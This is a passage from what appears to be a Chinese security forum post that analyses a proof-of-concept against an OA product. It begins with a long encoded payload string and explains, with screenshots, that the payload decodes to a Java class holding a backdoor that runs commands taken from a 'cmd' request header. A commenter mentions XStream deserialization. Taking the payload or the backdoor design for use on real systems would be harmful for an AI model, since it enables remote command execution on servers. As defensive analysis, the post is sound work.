JKLAOFAIACFJGOFEIBIOOPDCDCNFIOGCDKEGHEIAOBDCKLLGMEOEKIEHCEBFKAGOLFGCMNLNMJCNJMDBHMDPEGHHFKOJDDAPPHJMBLBDODOHKPNABBMBHMCCMKINKJLCIFBIPCENLPLOFOAJPEFHCDEOGLGFHNOBFFLHDMHNEFAIPMBJJMIIDAEAJAKGDIHIOIPIOPBJKOLEHJLBIOLGLBMHNCNDAHOGDOILIJANBPNLPPKCOKJFJPCLFJPGKDCBMGEOGGGANMMKDILOMJJLPKJJCOPFKPFAHNAIMDOKPCIKNEMFGMGCOGGMKBIBDEKDAKBPBJKPAFGODBFLGADBFNMDAHGLDGNFLLBONBDLAAOIIICMHIPDJCMHBGLFJAIMIBHABENMJOEHJLKGIIJDBBEHFJCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMGOPFDMJHCMOGLKPICOEEDDKPAHLEGOMDMDFLKFECCPILAKGLGDEMGMGEPODAGGJPPNDCHOBPHJKBDAKECOBIOJGKDMBKDBFPEGIGNOBDGELAENFFLCBKHHJADGFGCBAINLJPDMOBGLNNHAOBHGLGMMLDHGINFFOLLALGGAADPGMNJDMNOLKINDIKKIHJKDEKFAJDHPHNGAIBGNAODMICFEFCCHDPGMLJOGIJCIOOMMGEKPILGPFJOCMKILLFGPEAIBIDBGNPPDHLLAHMKLEJBJFBFPFBDNEJCNPK

![微信图片_20240812164526](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-aa1e68bf504d8d5023c38103ac21f66a8ac68e2e.png)

### poc的分析

相信大家在这里或多或少对这个poc不大理解，我们对该poc分析一下

我们使用工具对该poc进行解码操作，得到如下内容

![image-20240812164946571](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-74a26f6d90021b0377427586938d8d6546daed4f.png)

![image-20240812170153604](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-3c7d549d69f112d6dd302bfa420c88eed66932c8.png)

在`<byte-array>`发现了类似于base64编码的内容，我们对其进行解码操作，发现解码之后是一个.class文件

![微信图片_20240812165145](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-a7581153f62ba64cc4372eb3684e8f9480776c61.png)

接着我们利用反编译工具对该.class文件进行反编译操作，得到如下内容

![image-20240812165405021](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-3087defa29affb13b68b300d95a487e2be753efc.png)

分析：该段代码它包含了一个后门，允许攻击者在请求头中发送一个cmd的参数，代码获取名为`cmd`的请求头的值，之后根据操作系统类型（Linux或Windows），`exec()`方法构造不同的命令执行格式。攻击者可以输入一些危险的指令进而获取到对方的一些敏感信息

发表于 2024-08-23 09:00:01
阅读 ( 1906 )
分类：OA产品

1 条评论

anfuzzz 1秒前

XStream反序列化TemplatesImpl类加载字节码，和Flow是否继承Serializable没任何关系